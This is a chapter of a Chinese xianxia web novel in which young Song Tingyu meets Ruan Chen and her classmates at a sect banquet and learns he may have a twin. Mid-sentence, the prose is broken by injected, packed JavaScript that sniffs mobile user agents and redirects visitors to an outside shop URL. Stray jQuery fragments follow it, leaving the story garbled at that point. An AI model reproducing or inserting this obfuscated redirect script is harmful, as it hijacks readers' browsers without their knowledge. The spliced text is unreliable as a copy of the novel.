120.少年宋亭玉

作品:《竹马离开的第十年

    第一百二十章


    少年宋亭玉


    “小亭玉你怎么站在这里呀?”


    “今日你师姐要送她的朋友回万青宗,你不去看看吗?”


    “我……我想练剑。”幼年宋亭玉提着一柄用于练习的木剑站在院子里,穿着一身白衣,与周围装饰的火红窗花与灯笼有些格格不入。


    “你还真是个剑痴呀,不过我们镜华宗以御风术闻名,你也得多练练画风符才是。”


    “知道了师叔。”幼年宋亭玉朝走廊上的大叔微微拱手鞠躬。


    正值冬月融雪的时节,院子里还有不少积雪未化,宋亭玉说话都吐出白气来,喷打在他被冻的通红的手背上。


    看他穿的单薄,大叔把身上的披风解了下来,迈过走廊边的栏杆跨进满是小脚印的院子里,把披风披在宋亭玉身上。


    看着大叔和蔼可亲的笑容,宋亭玉不禁心尖一暖,他攥紧了披风的领子,在大叔回头要离开的瞬间拉住了他的衣摆。


    “阮师叔,听师姐说,我还有个兄弟。”


    空气瞬间凝滞,大叔脸上的笑容变得有些尴尬。


    “这是真的吗?”


    幼年宋亭玉虽然才四岁,但是早已学会观察大人的表情,师叔的表情已经告诉了他事实。


    那是阮仪谦第一次从这个少年脸上看到悲伤的神情。


    他从小就是一个沉默内敛却时常面带微笑的孩子,没想到会为了自己素未谋面的兄长露出这样的表情。


    那是阮琛到青山学院进修两年后第一次带同窗回镜玄宗,阮仪谦收到信的时候高兴极了。本来还害怕她会在青山学院给自己惹麻烦,又或者是有其他弟子会欺负她,没想到短短两年已经交到了好友,他作为二长老自然得安排门下弟子筹备起来,以免丢了宗门的脸。


    万青宗是大宗门,他们门下弟子弟子个个翘楚,自己的女儿和他们关系好不是坏事。


    一向沉着冷静的阮仪谦一年未见过女儿也是思念的紧,一时间忘了在信里交代她关于宋家兄弟的事情。


    宋亭玉出生时她还小,记不住事,刚满六岁她就被送到青山学校学习修炼,一直没见过被宋阳养在家里教导的宋亭玉。


    因此这次相见,便成为改变宋亭玉一生的导火索。


    “来人来人!快帮小姐把东西抬进去!”


    “让开让开,别挡路呀!”


    “宴席准备的怎么样了?小姐今日可是要带万青宗的同窗来参观的!你们可千万别出什么岔子让镜华宗在万青宗的人面前丢脸!”


    海边围满了一群准备迎接阮琛回宗的弟子,不远处已经可以看到载着阮琛的仙船正在向他们缓缓驶来。


    幼年宋亭玉蹲坐在沙滩上,望着吵吵闹闹的弟子和天边飞来的仙船,心里想的却是今日阿爹在书房里教他的御风术。


    想的入迷时,他不经意间捡起贝壳在沙滩上画了起来,但反反复复许多次仍没能成功复画出今日阿爹教他的御风咒文。


    “亭玉少爷,小姐的仙船到了,您不去看看吗?”家仆在一旁对着仙船望眼欲穿,似乎很想去看一看那位传闻中的阮家大小姐。


    宋亭玉抬眼望了望,丢下手中的贝壳说:“阿爹命我来向阮姐姐打声招呼,走吧。”


    这位大小姐是阮师叔家中独女,听说从小就对她十分宠溺,没想到阮师叔居然舍得把她送去青山学院进修,毕竟进了青山学院短则一年,长则五年六年都回不来。


    他也想日后去青山学院进修,听说那是天下第一宗门万青宗创立的专为培养顶尖修者而建造的学院,去了那里他或许就能成为阿爹口中所说的大才。


    “让让让让,小姐要下船了!”


    不知是谁喊了一声,前面的人瞬间从中间散开,让出一条直直的路出来,一个身穿红衣的少女从船舱中走了出来,少女扎着两个长长的辫子,看起来十分灵动可爱。


    “小姐!”


    “小师妹你回来了!”


    少女眨着一双水灵灵的眼睛,对着众人露出一个甜甜的笑。


    “本姑娘又回来啦!”她手里还抓着一个少女的手臂,那少女与她年纪相仿,没想到船外会来这么多人迎接他们的到来,她有些不知所措地躲在阮琛身后,只露出一个披散着头发毛茸茸的脑袋。


    阮琛拉着她下了船,嘴里轻声安抚道:“晚山你别害羞呀,他们都是我在镜华宗的同门,大家人都很好的。”


    在两名少女身后,一名黑衣白发的少年紧随其后也从船舱中走了出来,海风吹拂着他银白的发丝,像一朵在风中摇曳的白莲花。


    宋亭玉心想,他的头发可真短,他的阿爹阿娘竟然允许他剪掉自己的头发。


    眼看阮琛就要穿过人群离开沙滩,宋亭玉几次尝试想要挤进人群却都以失败告终,最后直到阮琛带着她的同窗回到宗门参加宴席,宋亭玉也没和阮琛说上一句话。


    “唉……”小小的宋亭玉站在已经无人的沙滩上叹着气,有些后悔来沙滩上等了,早知道来的人这么多还不如留在院子里练习画符。


    晚上宴席开始,这次的接风宴与以往的家宴不太一样,每个人都有自己单独的座位。


    阮琛和那名腼腆少女相邻,往下是那名顶着一头狼尾的白发少年,他的座位本该在几名师兄后面,不知怎的被换到了前面和那白发少年相邻。


    “听阿银说白日里你没跟阮家老大说上话,爹特意给你安排了靠前的座位,吃的差不多了就去跟她打个招呼。”宋阳忽然出现在他身边说。


    阿银就是一直跟在他身边的那名小仆,宋亭玉点头小声嗯了一声,顺从了他爹宋阳的安排。


    席间阮师叔关心地问了阮琛很多话,还有许多师兄弟都去跟阮琛打过了招呼,宗主也问了许多关于阮琛带回来那两名同窗的问题,他似乎对自己旁边这位白发少年有过一面之缘,一个劲的夸他日后必定会成为修仙界的大人物。


    宋亭玉几次想要上前跟阮琛打招呼,看着源源不断的师兄弟还在向她聚拢,他又放弃了。


    再等等吧,等人少一些他再去打招呼。


    幸运的是他阿爹忙着和几名师叔推杯换盏,顾不上看他这里。


    他与几名外来的客人一样年纪尚小,桌上没有为他们准备酒水,取而代之的是用来蜂蜜和果浆兑成的各种甜水。


    在不知道是第几次宋亭玉举杯想要起身靠近阮琛却又被她面前热闹的场景劝退时,他看着陶杯中颜色鲜艳的甜水,不知怎的竟鬼使神差地把手指伸进了陶杯里。


    他用蘸取了甜水的指尖小心在桌面上又写起咒文来,可惜连写了好几次都感觉还差些什么。


    要是阿爹可以再重新为他演示一遍完整的咒文是怎么写的就好了。


    或许是他写的太过入迷,旁边什么时候多了一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17170512|183663||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    个人他都没发现,等他有所察觉时,他在桌上写的残次品已经被那人用帕子擦拭干净。


    宋亭玉露出一个疑惑的神情望向那人,惊觉他就是宗主师叔方才一直夸赞的那朵人形白莲花,下意识往后缩回了手。


    李月君一言不发地从他的陶杯里蘸取甜水在桌上写了一道咒文,随着他最后笔落下,一阵微风从少年手中卷起,吹起遮挡在他额前的发梢,露出了他那双深蓝的眼睛。


    “你尚未引气入体,学这个还为时过早。”李月君嘴上这么说,却还是为他演示了正确的咒文写法。


    “谢谢你了。”小宋亭玉点头表示自己知道,然后蘸着甜水继续在桌上写写画画起来,完全把要跟阮琛打招呼的事情抛之脑后去了。


    直到宴席散去,阮琛拉着她身旁都少女要往专门为客人准备的房间里休息,宋亭玉旁边的少年站起身从他面前走过,他才满脸懵地站起身。


    他刚用帕子把桌上的水渍擦干净,宋阳询问的眼神就扫了过来。


    宋亭玉下意识回避了他的眼神,匆匆追了上去,他跟了阮琛一路,这一路阮琛都在和林晚山介绍镜华宗好玩的地方,甚至连接下来几天的安排都准备好了。宋亭玉跟在几人身后刻意保持了一段距离,生怕惊扰她们谈话。


    等阮琛把他们送回房间后,她却还留在林晚山的房间里迟迟未出,宋亭玉只好在走廊的拐角处等待阮琛,这里是回去的必经之路。


    吱呀——


    白发少年推开房门,从房间出来时正好瞧见蹲在墙角的宋亭玉,他挑了挑眉什么也没说,径直走向与他同行的那位少女的房门。


    只见他敲了敲门对里面说了句什么,阮琛一脸疑惑地走出来,白发少年在她出来后侧身钻进房间里关上了房门。


    阮琛朝左右探了探头,最后把视线落在角落的宋亭玉身上,而后缓步朝他走来。


    “就是你找我吗?”阮琛眼神上下打量着眼前这个绿眼睛的小孩,“说吧找我什么事?”


    宋亭玉被吓一跳,立马站起身向她鞠躬行礼。


    “阮阿姐好,我叫宋亭玉。”


    “姓宋?”


    “镜华宗三长老宋阳正是家父。”


    宋亭玉行完礼想要拿出宋阳事先为他准备好的糕点送给阮琛,手下意识往身后摸时才发现,糕点被他忘在了宴席上。


    他懊恼地锤了锤头,刚想向对阮琛道歉,只听她说:“宋师叔家的孩子吗?都长这么大啦?那我得叫你亭玉弟弟了。”


    “阮阿姐,对不……”


    “对了,你是哥哥还是弟弟呀?”


    宋亭玉只觉得自己脑子嗡的一声,耳朵里像是被灌满了海水一样,周围的所有的声音都变得很小。


    “什么?”他下意识反问。


    阮琛有些奇怪他的反应,“我以前听说,宋师叔家里出了一对双生子,你是哥哥还是弟弟呀?”


    宋亭玉整个人呆愣住了,阿爹这些年从未向他提起自己还有一个兄弟。


    “我不知道。”


    阮琛疑惑的嗯了一声,“你几岁啦?”


    “四岁。”


    “那不应该分不清楚自己是哥哥还是弟弟呀……”阮琛偏过头小声嘟囔着。


    “对不起阮阿姐,我没有兄弟,我们家只有我一个孩子。”宋亭玉幅度很小地晃了晃脑袋,认为刚才的话一定是阮琛对他开的玩笑。